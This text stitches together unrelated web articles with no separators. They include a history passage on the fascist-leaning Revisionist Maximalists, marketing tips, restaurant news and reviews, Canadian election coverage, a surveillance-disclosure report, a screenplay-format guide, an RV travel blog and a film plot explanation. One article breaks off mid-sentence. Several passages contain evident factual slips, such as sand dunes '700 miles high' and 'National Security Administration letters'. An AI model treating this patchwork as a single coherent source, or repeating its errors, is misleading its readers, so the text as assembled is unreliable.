In 1932, Brit HaBirionim pressed the ZRM to adopt their policies which were titled the "Ten Commandments of Maximalism" which were made "in the spirit of complete fascism".[13] Moderate ZRM members refused to accept this and moderate ZRM member Yaacov Kahan pressured Brit HaBirionim to accept the democratic nature of the ZRM and not push for the party to adopt fascist dictatorial policies.[14]
Ideology [ edit ]
Revisionist Maximalists strongly supported the Italian fascist regime of Benito Mussolini and wanted the creation of an Israel based on fascist principles.[15] The Revisionist Maximalists became the largest faction in the ZRM in 1930 but collapsed in support in 1933 after Ahimeir's controversial decision to support Nazi Germany due to its fascist and anti-communist stances, while opposing their antisemitic policies. After facing outrage, Ahimeir reversed his position shortly afterwards, with Revisionist Maximalists attacking German consulates, but support for Ahimeir did not recover and the Revisionist Maximalists collapsed until they were recreated in 1938 under new leadership.[16]
The label of "fascist" has nevertheless to be regarded with reserves because in that period as later it was used often abusively in the disputes between opposed political nonfascist fractions, as in the 1930s even the Social Democrat parties were accused by Stalin and the communists of being "fascists" or "social-fascists". În the same way in Palestine Revisionist Zionists themselves were often qualified in the 1930s as "fascists" by the Labor Zionist leaders and the Revisionists attacked the social democratic dominated General Confederation of Labor (Histadrut) and Ben Gurion by using of terms like "Red Svastika" and comparisons with fascism and Hitler.[17][18] Also, not every territorial maximalistic revendications or paramilitary practices were in the modern history identical with fascist ideology, they could be also be found among communists, social democrats, or other kinds of nationalists.
See also [ edit ]When it comes to online marketing, I see and hear about way too many companies that don't take the paid traffic channel seriously enough. They either don't do it (huge mistake), or they do a less-than-professional job of it. Maybe they do it in-house. Or, they have an agency do it, but one that doesn't have a dedicated paid traffic specialist. While Google, Bing and others continuously refine their systems to make campaign management "easier" than ever, many changes that are made to make management "easier" come at the sacrifice of ROI. Also, there are strategies that professionals use that others simply won't know because of lack of knowledge and experience.
From my experience, that all adds up to it being very close to 100% of the time that the money wasted from shoddy account management more than exceeds any management fees that a professional account manager would charge.
Not only that, but if you let a pro handle it, you save time and energy and can focus on improving other aspects of your business. So, how do you know if you've set the bar high enough for choosing a PPC manager? Well, you should have a sense if someone is living and breathing PPC, but here are some things you never want to hear a PPC manager say.
Bad PPC Thoughts...
"I check it every few months to make sure things are still running ok."
"No, I don't have brand keyword campaigns. You already rank #1 organically for them."
"So, what keywords do you like?"
"I just send everyone to the homepage. That way they can shop for whatever they want on the site when they get there."
"I control the daily budget with the budget tool."
"I only bid on terms that cost under 50 cents."
"What are match types?"
"What are negative keywords?"
"I bid so I can be #1 for your main keywords. Being #1 is the best, right?"
"I bid what you can afford."
"I use automatic bidding because Google says it's the best option and I'll get the most clicks for the budget."
"Isn't that great how Google gives all those suggestions for your account?"
"I (fill in the blank) 'cause Google said so."
"I have no idea how much each visitor to the site is worth to the company."
"I don't spend much time on crafting ads. I mean, they're only a couple simple lines, right?"
"What's AdWords Editor?"
"I really don't have time to test."
"When I test ads, I keep the one that earns the highest click-through rate."
"I use conversion rate as my success metric for all the keywords."
"If a keyword doesn't convert, I delete it."
"I just run the Search and Display Networks in the same campaign."
"I have a few campaigns with a few ad groups in each campaign."
"Mostly, our ads communicate to the searcher what's great about you."
"We just use search ads for the display network too. We wrote good ones that should work anywhere."
"I don't look at the competition too much. I just focus on making you the best."
(For marketing executives) "We don't need a professional. We can just do it ourselves because we want control over our messaging."
Thanks to Stoney for his contributions!While many of us were heartbroken to hear the news that the Pioneer of Texas restaurant on Southwest Parkway suddenly closed down for good Tuesday, we have now confirmed that a new southern-style restaurant will be opening up at the same location.
We spoke with a representative from Sam's Southern Eatery today and they told us they will be opening a restaurant at 4517 Southwest Parkway in place of Pioneer. He said they just took possession of the keys to the building today, and after a few small updates, the new restaurant is expected to open no later than mid October.
Sam's Southern Eatery's first location was opened in Shreveport, Louisiana in 2008 and now has over 51 locations in 9 Southern states, including a recently opened restaurant in Lawton, Oklahoma.
According to Sam's Southern Eatery's website, the restaurant offers "high quality food, healthy eating options, and generous portions at competitive prices." A menu on the restaurant's website shows the cost of a 4-piece fried fish meal or two whole catfish served with two sides and three hush puppies is $8.99, the grilled version is $1 more. Po' Boys and burgers start at $7.49. However, they do say prices and menu items may vary by location.
As for Pioneer of Texas, their management says they decided to move the staff of the now-closed Southwest Parkway location to the Pioneer restaurant located on Maplewood, where they will continue to offer the same local favorites, including their famous chili enchiladas.
Here's a video explaining a little bit about Sam's Southern Eatery:A Florida man was arrested on criminal mischief charges for smashing the car of his “spiritual” girlfriend after she prophesied that his dead grandmother would return to him in his dreams — and violate him with what police called “an adult erotic device.”
According to TCPalm‘s Will Greenlee, Casey Molter and his unnamed girlfriend had gotten into a physical altercation earlier that morning, and police were called to break them up. At that time, Molter had only inflicted minor damage to her car and smashed her cell phone.
After police left, however, Molter continued to attack his girlfriend’s car, breaking a passenger side mirror, deflating its tires, and strewing the hood and windshield with used condoms and what the police referred to as “love notes” written in creams and lotions.
When police returned to the scene, they asked Molter why he was so intent on damaging his girlfriend’s car. He replied that she is a “‘spiritual person’ and can tell a person about their dreams.”
He said that she had told him that his deceased grandmother was going to return to him in his dreams, and that she was going to “commit an unusual sex act to him involving an adult erotic device,” the police report stated.
“Molter said that he could not get the image out of his head and he ‘snapped,'” the report continued.
Molter posted his $500 bond, and is due back in court later in January.WATCH ABOVE: Harper continues to get grilled over current staffers’ involvement in Duffy scandal.
OTTAWA – Stephen Harper called any comparison between the Mike Duffy affair and the Liberal sponsorship scandal “absurd” as the Conservative leader faced more questions on Sunday from reporters and attacks from his opponents about the senator.
The Duffy issue stayed in the election campaign spotlight after revelations emerged last week during the senator’s fraud, breach of trust and bribery trial.
READ MORE: Harper should fire staffers who knew of Duffy payment scheme: Trudeau
Harper was reminded Sunday by a reporter how he wouldn’t accept claims years ago that former Liberal prime minister Jean Chretien and then-finance minister Paul Martin knew nothing about the sponsorship scandal in the 1990s.
The Tory leader was then asked to explain the difference between that situation and the Duffy affair, which Harper has insisted he knew nothing about.
“Look, in the Liberal sponsorship scandal $40 million of Canadian taxpayers’ (money) disappeared,” Harper said.
“So, I think the comparison is absurd.
“This case we have a senator whose expenses, in our judgment, were not justifiable and my response was that he should pay those expenses back.”
Harper’s rivals sought to keep the Duffy issue alive on Sunday as the campaign entered its third week.
READ MORE: Duffy trial cheat sheet: Everything you wanted to know but were afraid to ask
Liberal Leader Justin Trudeau sent an open letter to Harper, demanding explanations to alleged contradictions and inconsistencies in his statements, and those of some of his cabinet ministers.
In the letter, Trudeau also called on Harper to fire members of his team who were allegedly involved in a Duffy cover up.
“Mr. Harper continues to ignore the calls for answering questions, for explaining why he keeps these people who have been involved in part of a cover up to hide the truth from Canadians – why he continues to keep them around him, indeed, running his campaign,” Trudeau told reporters in Montreal, where he attended a Pride event.
WATCH: Trudeau to release open letter calling on Harper to answer questions on Duffy scandal.
Last week, Harper said the “vast majority” of his staff were unaware of a scheme to fake Duffy’s personal repayment of Senate expenses. The statement marked a shift from Harper’s previous position that only one person was aware.
One of the people informed about the plan by Harper’s then-chief of staff, Nigel Wright, to repay Duffy’s expenses was Ray Novak, Harper’s current chief of staff, close confidante and a senior Conservative Party campaign director.
On Thursday, Harper supported Novak’s claim that he did not read a direct email on the subject from Wright – his boss at the time – and was unaware about Wright’s payment.
Harper doesn't address question about whether Novak should be fired. — Laura Stone (@l_stone) August 16, 2015
New Democrat Leader Thomas Mulcair was asked Sunday whether some of Harper’s staffers should lose their jobs over the Duffy scheme.
“Well, I think somebody should be fired for the whole Duffy-Wright affair,” Mulcair said in Montreal, where he also attended the Pride event.
“On Oct. 19, Canadians will get a chance to fire that person responsible for that whole mess – and that is Stephen Harper.”
WATCH: Mulcair puts the blame on Harper for Duffy scandal
Mulcair also took a shot at Harper for “systematically” staying away from gay pride parades in Canada.
“It’s a way of showing that you respect rights and that you want to remove discrimination,” he said.
Mulcair was also asked about Green Party Leader Elizabeth May’s announcement Sunday that former New Democrat MP Jose Nunez-Melo had decided to run under her banner in a new riding in suburban Montreal.
Montreal’s La Presse newspaper reported this month that Nunez-Melo got into a dispute with the party over the nomination in the new district. The report said Nunez-Melo alleged party brass blocked him from running.
Mulcair said Nunez-Melo informed the party in a letter that he didn’t accept the rules.
“And the party said, ‘Fine, you’re not a candidate,’ ” he told reporters.
“If you don’t accept the rules, you can’t be a candidate.”
May said her party now has three candidates who sat as MPs in the last Parliament, which was dissolved earlier this month.
“I am over the moon to welcome Jose Nunez-Melo,” May said. “We weren’t in the same party but we had the same spirit.”Google
Google and other top tech firms are beginning to flex their transparency muscles a bit, following the resolution of a lawsuit last week against the US Department of Justice to allow them to reveal more about national security data demands made of them.
On Monday, six major companies -- Google, Microsoft, Apple, Yahoo, Facebook, and LinkedIn -- revealed more information about government requests made with National Security Administration letters. The letters can request both content-related material, and non-content, which can refer to name, age, and location data of user accounts. Revealed customer account requests cannot be specific, and are limited to being reported in blocks of 1,000.
"Today, for the first time, our report on government requests for user information encompasses all of the requests we receive, subject only to delays imposed by the Department of Justice regarding how quickly we can include certain requests in our statistics," wrote Richard Salgado, Google's legal director of its Law Enforcement and Information Security division.
Salgado also included a request to Congress to change the laws so that tech firms can reveal specific numbers.
"The new information we are releasing today marks a significant step forward," said Colin Stretch, Facebook's general counsel.
Currently, the tech company disclosures only reveal an imprecise summary: 12,000 to 12,999 user accounts requested by FISA content requests, for example, during July to December 2012. That number, by the way, represents the peak in a spike of affected accounts at Google. Other companies saw a similar rise in FISA requests during the same period.
Brad Smith, Microsoft's general counsel, struck a more contrarian tone in his blog post by noting that not all orders received by Microsoft resulted in information being disclosed to the government. "Microsoft has successfully challenged requests in court, and we will continue to contest orders that we believe lack legal validity," he said.
American Civil Liberties Union attorney Alex Abdo acknowledged the reports were helpful, but that "they're not nearly enough" for the public to evaluate the breadth and impact of government surveillance. "The limited information that can be gleaned from the reports suggests that the government is using its spying powers extremely broadly, likely infringing on the privacy rights of many innocent Americans. The administration should grant the companies' requests to release more detailed reports, and Congress should require greater transparency and accountability when it comes to NSA surveillance," Abdo said.
Across the board, all the charts show that NSA requests for data have not only increased over time, but that they spiked in requested information around a year ago.
Updated at 5:10 p.m. PT: with statement from the ACLU.Image copyright Festival No. 6
The actor and Labour supporter Steve Coogan has said he doubts that leadership challenger Jeremy Corbyn can appeal to voters in middle England.
Coogan told a festival audience that he "ostensibly supported Andy Burnham," but that he had become "ambivalent" about the leadership race.
He was one of the star turns at Festival No. 6 at Portmeirion, Gwynedd on Saturday.
Sunday sees Grace Jones headline the final day of the three-day event.
The comic actor was in discussion with an audience at the central plaza of the Italianate village, designed and built by Sir Clough Williams-Ellis over a 50-year period.
"I don't know any more what the best thing is," said Coogan, who fronted a Labour broadcast during the general election campaign.
"I think that a lot of the ideals that Jeremy Corbyn is espousing, I share."
But he warned that "middle England is a very conservative group of people, and I don't know whether Jeremy Corbyn is going to speak to those people."
Image copyright Getty Images
The four candidates vying for the Labour leadership are Liz Kendall, Andy Burnham, Yvette Cooper and Jeremy Corbyn.
The winner will be revealed on 12 September, following a ballot of party members, registered supporters and affiliated supporters.
Coogan, who was a victim of phone-hacking, was asked what he made of Rebekah Brooks's return to the UK to run Rupert Murdoch's British newspaper business after being cleared of any involvement in the hacking scandal.
"I'm delighted that she has been rehabilitated so quickly, and I look forward to seeing her take part in some genuine public interest journalism that shines a light on corruption and malpractice in the press," he said.
He added: "That's called sarcasm."
Image copyright Festival No. 6
Festival No. 6 is now in its fourth year, and was completely sold-out this year, opening to visitors on Friday.
Describing itself as a bespoke banquet of music, arts and culture, it has already won a string of awards.
Sunday sees singer and actress Grace Jones headline the main Stage No. 6, with Shaun Ryder's Black Grape and former Supergrass frontman Gaz Coombes on the bill.
The final day also sees an extensive list of Welsh artists lining up to play the Nyth Gwydir stage, including winners of this year's Radio 2 Folk Awards album of the year, 9Bach, alongside Yws Gwynedd, Band Pres Llareggub, and Palenco.Do you ever feel like your phone's keyboard is dumb? SwiftKey has announced a new experimental keyboard that leverages the power of an artificial neural network that hopefully won't make the same old mistakes that other keyboards do. You can give it a shot right now by downloading the SwiftKey Neural Alpha from the Play Store.
An artificial neural network is a model of machine learning that attempts to replicate the functionality of a brain. It is, of course, much less complicated, but neural networks have been used to improve computer vision, speech recognition, and robotics. Now SwiftKey is using it to power a new keyboard prediction engine.
SwiftKey's current word prediction technology is called n-gram, and it gets the job done most of the time. It's not smart enough to understand the context of what you're typing, and changes in word sequence throw it off. The new neural network-based prediction engine can analyze all the words in a sentence to understand the context and relationship between words. This should mean smarter predictions.
SwiftKey is saying this is the first keyboard to ever use neural network technology, but I think all we can really say is it's the first to promote that fact. This is probably at least a little bit marketing hype, but you can give the new SwiftKey Neural Alpha keyboard a shot and see if it seems any more clever to you. One step closer to a sentient keyboard. Can't wait.Screenplay Format – Your 30-step Guide
Before you start writing the next great film, it is essential that you have a comprehensive understanding of screenplay format.
It won’t matter how amazing your story is if the formatting is sloppy.
You’re a professional, so your screenplay must dress to impress.
Setting Up Your Document
Screenwriting software: Although it is possible to patch together true professional screenplay format on your own, it will make it much easier for you if you download a program that will help you format. The software will not do everything for you, but it will give you an excellent place to start. An essential purchase for any screenwriter is Final Draft, which is the world’s leading screenplay formatting software, and used in the offices of all the big executives, agents, producers and studios. Everybody uses Final Draft, and some companies may not even be able to work with you, draft-to-draft, if you don’t own it. Paper: US screenplays are printed on Letter size paper, 8.5″ by 11″. The international standard for much of the rest of the world is A4, 8.27″ X 11.7″. Font: Courier 12pt. Spacing: The spacing between lines alternates between single and double according to the type of text. Margins: The top and bottom margins are usually 1”, but the margins on the left and right vary according to what type of text it is. Cover page: Use the Final Draft template (or the equivalent in any other screenwriting software worth its salt) when formatting your cover page. Your cover page should include the title of your script, your name, and your contact information. Page number: Page numbers are located at the top to the far right. You do not need a page number on your first page. Page length: Screenplays are typically between 90 and 120 pages. One page is the approximate equivalent to one minute of screen time. Comedies tend to be around 90 pages, while dramas tend to be longer, at around 110 pages.
Getting Started with Screenplay Format
Fade in/Fade out: At the beginning of your screenplay, you need to include “Fade in:” on the left side. You can also include your title again at the very top of this page before Fade In. At the end of your script, you end with “Fade out.” on the right hand side, followed by THE END in the center of the next line. Scene headings: In screenplay format, scene headings are written in all uppercase and have at least three parts. The first is INT. or EXT. to indicate whether the scene is interior (inside a building) or exterior (outside). The second part is the location (for example, GROCERY STORE), followed by a hyphen. The third part is the time of day, usually just DAY or NIGHT. Example: Description: A description usually follows the scene heading and is used to set the scene by providing visual details. This is written like prose and, like the rest of your screenplay, needs to be in the present tense. Description text is located 1.5” from the left. Action: When describing the action of a character, you follow the same screenplay format as for scene description. Introducing characters: When introducing a character, it is helpful to put the character’s name in all caps. It is also necessary to provide a brief description of the character, followed by their age. Here is an example/template: Character: The character’s name always appears above the dialogue in all caps. This appears near the center of the document (3.5” from the left). Dialogue: The lines of speech are located 4” from the left and fall below the character’s name. Parentheticals: Parentheses can be used in screenplay format between the character line and the dialogue (3.5” from the left) to describe the way the character says a line. For example, if it is unclear, you may have to indicate that a character is saying something sarcastically. Make sure and leave these cues as adverbs instead of adjectives. An example is shown below. Transitions: Transitions generally only appear in a shooting script, and are a way to describe getting from one scene to the next. Examples include “CUT TO:” and “DISSOLVE TO:”. They are located where “FADE IN:” would be but do not have to be the first thing on a page. Subheaders: Subheaders are used when an entirely new scene heading is not necessary, such as when a character moves from one room in a house to another. These should be used sparingly. To format these, write the new location in all caps on its own line.
Special Situations in Screenplay Format
Sounds/props: Mainly reserved for shooting scripts, it is helpful to put props and sounds in all caps so prop masters and sound technicians can find them easily. Extensions: If a line of dialogue is being narrated or you cannot see the character, you can use (V.O.) for voice over or (O.S.) for off-screen. In screenplay format, these extensions are placed next to the character’s name. Montages: To format a montage with a single location, type MONTAGE on its own line. Then below it, use hyphen bullet points to briefly describe each moment/image of the montage. Conclude with END OF MONTAGE on its own line. For a montage with multiple locations, use the following example: Flashbacks: In screenplay format, a flashback is introduced by inserting FLASHBACK TO: at the far right of the screenplay. Then you can insert your scene. When the flashback is over, write BACK TO PRESENT on a new line to the far left. When using flashbacks, it is useful to include the date in a parentheses as part of your scene headings (see example below). Dreams: There are a couple ways to write a dream sequence in screenplay format. One way is to add (DREAM SEQUENCE) to your heading and END DREAM SEQUENCE to the left on its own line at the end. You can also format it like a montage if there are multiple parts to the dream. Phone calls: One way to format a phone call is to insert INTERCUT PHONE CONVERSATION before the dialogue begins. This indicates that the scene will go back and forth between showing each character on the phone. Text being read: When a character is reading something that the audience can see, you can indicate this using quotation marks and all caps: Sally picks up a note. Over her shoulder it reads, “PLEASE PICK UP MILK FROM THE STORE.” Parallel action: For parallel action, write INTERCUT on a line above the dialogue to indicate that the scene will go back and forth from showing different characters’ situations. More and Cont’d: If a line of dialogue is cut off and continues on the next page, (MORE) is placed on the bottom center of the first page and (CONT’D) is placed next to the character’s name on the next page. In screenplay format, (CONT’D) is also used next to a character’s name is they have two lines of dialogue that are separated by a line of action or description. Shots: Camera directions are only included in shooting scripts, not in spec scripts. They are found in the description. Examples include PAN TO and CLOSE UP ON. Superimposed text: To indicate that non-diegetic text will appear on the screen (that only the audience can see), write SUPER: “Text that is superimposed.” Underline: You can underline a word or line of text to emphasize it.
There are many components to screenplay format. However, if you understand your screenplay format tools and use good writing software, it will start to become second nature to you. You can also visit the BBC Writersroom website or find movie scripts for some examples of film and television screenplay format.
Now that you are ready to write a script that looks as dashing as Don Draper, there’s nothing to hold you back!
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The first hint came in the offseason when the Dallas Cowboys quarterback put a pair of Under Armour cleats in a prominent position in his locker as he spoke to the media. At training camp, Romo has worn the cleats and sported an Under Armour hat when featured on an ESPN interview with Jason Witten earlier this week.
He is the third high-profile quarterback to join the apparel company, with Tom Brady and Cam Newton.
Romo had been a free agent of sorts since his deal with Starter expired in 2013. He had worn Nike cleats but painted over the logo in recent years.
The addition of Romo to Under Armour allows for a Dallas-centric marketing opportunity with golfer Jordan Spieth.
Spieth recently signed a 10-year contract with Under Armour after winning The Masters and U.S. Open and is the second-ranked golfer in the world.
He is also good friends with Romo and has played many rounds of golf with him. They were even paired in an amateur tournament in South Carolina a few years ago.Each year, Google receives more than two million job applications from around the world and hires several thousand of those candidates.
It takes an average of six weeks to secure a hire, and every candidate needs to be screened by their potential boss, potential colleagues, and a hiring committee.
"If you wondered if this takes a lot of Googler time, it does," Google's SVP of People Operations Laszlo Bock writes in his book, "Work Rules!". But he says that time has been cut down significantly by making the hiring process more efficient.
In the early days of the company, hiring would take four to 10 hours of a manager's time each week, with top executives spending a full day on it. By 2013, the company had grown to 40,000 employees but had slashed that time to one and a half hours a week. (Today, the company has more than 60,000 employees.)
Bock explains that years of research and experimentation helped Google get hiring exceptional people down to a near science. "There are four simple principles that can help even the smallest team do much, much better at hiring," he writes.
We've explained them below.
1. Set an uncompromisable high standard.
Google's board selected Sundar Pichai to succeed Larry Page as Google CEO last August.
You will be able to quickly determine if someone is worth even an initial interview by setting the bar high and not budging it.
"Before you start recruiting, decide what attributes you want and define as a group what great looks like," Bock writes. "A good rule of thumb is to hire only people who are better than you."
This applies to all positions, he explains. If you're hiring an administrative assistant, don't simply look for someone who can answer a phone and schedule your meetings; find someone who will make your job easier by organizing your time and priorities better than you ever could.
And if an employee search is taking longer than you would like, be patient and concentrate more of your effort on the task.
"Do not compromise," Bock writes. "Ever."
2. Find candidates on your own.
Google works with some recruitment firms, but only in specific situations in which outside expertise is a requirement, such as building a new team in another country.
The company has used third-party job boards like Monster in the past, but pulled back from them after its reputation grew sufficiently, mostly because it found that too many of those sites' users send out generic mass job applications.
Today, Google relies on its own careers portal and the referrals it solicits from Googlers. And when your company begins growing, Bock says, "ask your best-networked people to spend even more time sourcing great hires."
He also recommends that managers make use of LinkedIn, Google+, alumni databases, and professional associations to discover talent.
3. Put checks in place to assess candidates objectively.
An organization the size of Google can afford to have a large group of people spend time with each candidate, but even smaller companies need to avoid placing the burden of hiring someone onto one individual.
"Include subordinates and peers in the interviews, make sure interviewers write good notes, and have an unbiased group of people make the actual hiring decision," Bock writes. "Periodically return to those notes and compare them to how the new employee is doing, to refine your assessment capability."
4. Provide candidates with a reason to join.
Google's Mountain View headquarters.
Jonathan Rosenberg, former SVP of products and current advisor to Alphabet CEO Larry Page, used to keep 200 Google employees' résumés in his office.
"If a candidate was on the fence about joining Google, Jonathan would simply give them the stack and say: 'You get to work with these people,'" Bock writes.
According to Bock, the candidate would look through the impressive collection, including everyone from the inventor of JavaScript to Olympic athletes, and ask Rosenberg if he had cherry-picked them — to which he would honestly reply no. The technique worked every time.
"Make clear why the work you are doing matters, and let the candidate experience the astounding people they will get to work with," Bock writes.Our next restaurant takes us back to Disney Springs, site of our first review of Morimoto Asia. But now that Town Center has opened, new venues have been popping up left and right. This time around we headed to the all new Town Center area to review former chef of Oprah, and North Florida native, Art Smith and his new restaurant Homecoming.
Food:
Though we skipped appetizers, we will definitely try some on a future visit because the selection was good as well as the rest of the menu:
Our first of two entrees was the Fried Catfish Plate, served with hush-puppies, grits and another side which I choose mac and cheese. The portion was a great size and everything on this plate tasted great. With everything being made in house, you can just taste the freshness. This is arguably the best catfish I have ever had, and the little bit of spice in it is balanced by the creamy grits! But it doesn’t stop there, this is arguably the best mac and cheese I’ve ever had as well making this easily one of the best plates of food I have ever had in a restaurant. 10/10
The other entree we sampled today was the Chopped Pork BBQ plate, with a cheddar drop biscuit, mac and cheese, and coleslaw. The pork, much like all the food was fresh, hot and terrific with the BBQ sauce. Since we had mac and cheese on the other plate, we also added a side of sweet potatoes to try another side. Though I am not a fan of sweet potatoes, Brent says they were “better than his grandma used to make” and that’s pretty high praise coming form a southerner raised in Tennessee.The cheddar biscuit was sorta like Red Lobster but a little more dense with a lot more flavor. 10/10
For dessert we tried the Hummingbird Cake, one of Chef Art Smith’s most famous recipes! The dish is a great sized slice of pineapple-banana cake with cream cheese frosting, and served with a scoop of ice cream made just down the road in Winter Park, Florida. This being the first time I’ve even heard of this cake it was amazing and may be my new favorite cake! The banana flavor comes out early on in the bite and ends on the nice sweetness of the pineapple; and the fresh made frosting makes it even better! 10/10
Service/ Atmosphere:
In the category of service, this restaurant meets and exceeds every expectation feeling like your coming into someones home to have a meal and be taken care of! The staff was all very friendly, helpful, and knowledgeable about where each ingredient and item came from and all about the restaurant. I haven’t had this great of service in quite a while, especially at a Disney property restaurant. 10/10
The atmosphere is that of a southern shine kitchen and bar just as the restaurant name indicates and you can see several cool details throughout the restaurant. With an open, comfortable, and laid back layout the restaurant makes everyone feel at home! It is something that, like the food, words can’t do justice to and you have to see it to believe it! 10/10
Overall:
I’m gonna say something kinda provocative because the restaurant is in its first month and still has the opening day glow about it, but as of right now this is the best or at least one of the best restaurants on Disney property and possibly even central Florida. Easily, this is instantly in my top 5 places to eat in Florida!
Art Smith has given us his best and the team at this restaurant executes it to perfection, from the door to the back of house culinary team! WE will back very soon to try more items from the menu because at this point, I can imagine it is as good as what we tried for this review.
The restaurant receives a perfect score, but truly deserves a scores of 110%! Stop by soon, they are saving a table for you! (10/10)
As with all our reviews, we paid for everything you see pictured and nothing was complimentary in any way, the food was as great as we say!
For more on Disney and beyond be sure to follow us on our social accounts:We’re calling it: the custom boxer movement has reached critical mass. More BMWs are rolling off workbenches than ever before, so builders have to look at Bavaria’s sweetheart with fresh eyes to get noticed.
This neo-noir BMW R100R from Diamond Atelier is more of a swift kick to the jaw than a breath of fresh air. Astonishingly, it’s only the third build from the Munich-based shop—but it’s ganz wunderbar.
“There was talk of our first motorcycle [a stunning BMW R80] being an unrideable show bike,” says Diamond Atelier’s Tom Konecny. “Even though I raced it in the Glemseck 101 Sprint last year.”
“So with this build, we had to step it up. Not only in terms of visuals and details, but also performance and rideability.”
This time round, the duo wanted a donor with a bigger engine and better suspension, and managed to find a 1994 BMW R100R Classic. It’s basically a road-biased version of the contemporary R100GS.
A more aggressive stance was in order; dropping the front suspension by three inches achieved the desired effect. The wheels have been stripped and re-finished: rims in black, and hubs in gold metal-flake.
An offset was added to the rear hub to accommodate a 6.3-inch tire, and at the front, the guys selected the highest profile tire that would fit. Tom admits that Continental’s knobby TKC80s are not the best tire choice for a road bike—but says there’s still a decent amount of grip, and “ |
about food and activity highlights in our last blog post.
Clear Creek RV Park may be my favorite RV park…not because of its amenities, but because of its location. The bubbling creek right behind the sites is charming, and the 10 minute walk along the creek to main street (and its restaurants, bars, coffee shops and shops) is convenient and fun.
Food highlights
Table Mountain Inn is fun for happy hour and the margaritas are so yummy! And so much happy hour! 2-6 PM and 9-11 PM. The bar and grill area is welcoming with southwest decor, and the outdoor patio gives you a view for people-watching on main street Golden (Washington Ave).
We tried a couple different Chinese restaurants in Golden, but Peking Garden was the best. Located in a strip mall, it’s not much to look at, but the food is delicious and inexpensive. I wish I had some right now! We had the egg rolls, wonton soup, sesame chicken and General Tso’s chicken. All so good. Save money by going during lunch. The prices are better then, but the portions are still huge.
If we hadn’t discovered Thai Gold right before we left town, we would’ve become regulars! The ambiance is charming because the restaurant is located in a refurbished house with stunning original wood fireplaces and relaxing mood music. Another place where everything is delicious, but watch out for the spice scale. Even though it’s on a scale from 1-10, even the 4 was pretty fiery.
Activity highlights
The Farmers Market is every Saturday from 8 AM-1 PM. The dates for 2015 are June 6-October 3. This is one of the best farmers markets we’ve been to, with a ton of vendors, food trucks and participating farms of all kinds.
And finally, the event we’ve all been waiting for! The whole reason our 2015 route took us to Colorado was because of my youngest brother Timothy’s wedding. The big day finally came on August 30th, and we enjoyed almost of week of family in town. It was a lot of fun to take my 91 year old grandfather to some of our favorites places like Red Rocks and Woody’s Pizza.
Pueblo West, CO
September 5-19
We’ve been looking forward to our time in Pueblo West, where we are now. Haggard’s RV Campground is on the open plain with a 360 degree view. At least 180 of those degrees are taken up by the beautiful Rocky Mountains. I love it here and would definitely come back, especially when I need a break from traffic and noise.
Food highlights
Bingo Burger in Pueblo was just what the doctor ordered after a long day at Great Sand Dunes National Park (more on that below). We met the friendly owner Richard Warner, who was proud of the fact that he knows where all of his ingredients come from. We appreciate that, and enjoyed Colorado beef (burgers) and potatoes (fries) out on the patio, with live music playing in the background.
Richard’s wife owns a bakery down the street, and we ended the meal right with one of her delicious raspberry milkshakes!
Activity highlights
The Colorado State Fair is among the top 10 state fairs in the country, per USA Today. We arrived in Pueblo at just the right time to catch 4-H displays, huge belt buckles, funnel cake, mariachi music…and to not go on those spinny-dippy rides that inexplicably appeal to people of younger ages.
How to describe Bishop’s Castle? One eccentric man built a legitimate castle, stone by stone, in the middle of the mountains…and he may not be done yet. With no entrance fee, roam the grounds and the castles. Climb to the spires of the castle and see the dragon’s head. You’ll probably never see anything like this.
We wouldn’t have known about Great Sand Dunes National Park were it not for our friends Dan and Lisa Brown of RV Liberty. We day tripped to the national park with them this past Saturday. Who knew there were 30 miles of sand dunes, towering up to 700 miles high, in the middle of Colorado?? These are the tallest dunes in North America. In an hour, Dan and I hiked up and down dunes through soft sand to the highest peak. It was a tough hike, especially with the altitude.
But the peak made everything worth it. Once we were up there, the whole park opened up to us, and we could see dunes for miles, skirted by the mountains. It was so much fun running down the dunes on the way back! Others had sleds they used for unique recreational enjoyment.
Royal Gorge Bridge is an hour from our campground in Pueblo West, and it’s one of the highest suspension bridges in the world. Sometimes we take spontaneous trips without a lot of planning, so we didn’t know until we got there that it costs $23 to walk on the bridge. A view other things are included in general admission, like a trip across the gorge in a gondola. (Note: You can save $2 online.)
We opted to save $46. There are a number of scenic outlooks that give you a good view of the bridge and the gorge below. Good enough for us!
Since it was only early afternoon when we got done at the Gorge, we gave in to billboard advertising and detoured to Florence, CO. What fun! This small town of only 4,000 people is antique heaven. What used to be a wealthy mining town has somewhere around 20 antique shops, and they’re all fabulous antique shops. I may or may not have told Eric that they tempted me to buy a house. Sacrilege.
-BDeja Vu, like many other time travel movies, has a complex plot. The key to understanding the plot of this movie is the time-travel explanation given at one point by the female scientist. She explains, in so many words, that when a person travels back in time, a new timeline is created that branches off in a different direction from the original path. The original timeline, from the point of the branch forward, either continues in parallel or ceases to exist altogether. So when Doug goes back, he creates an entirely new branch in time in which the events from the original branch never occurred. From Doug's perspective, everything he's experienced from the branch-point forward gets reset.
Initially, you might assume that after Doug traveled back in time, he was operating in the same timeline he left. You might also assume that the clues he has already found in the future are the ones he himself left after going back. But if he created an entirely new timeline when he traveled back and the original timeline is no longer accessible, then he personally could not have left the clues in the original timeline. So who left them? It must have been another version of himself from an earlier timeline. This earlier Doug must have already gone back in time before the beginning of the movie and left the clues. In other words, it took two attempts to save Claire (Paula Patton) and the ferry. Following is the sequence of events:
(Events Before the Beginning of the Movie)
Timeline #1: Claire gets a call from the terrorist, who wants to buy her SUV. The terrorist kidnaps Claire. He kills her and puts a bomb in her SUV. She does not go back to her apartment and change into a red dress. The terrorist dumps her body in the river and drives the SUV onto the ferry. It explodes. In this timeline, there is no Doug from the future to interfere. There are no clues in Claire's apartment, no fingerprints, no odd answering machine messages, no ambulance at the bait camp. Present-day Doug investigates the bombing, but of course finds no clues from the future. He decides to use the time machine to go back and save Claire.
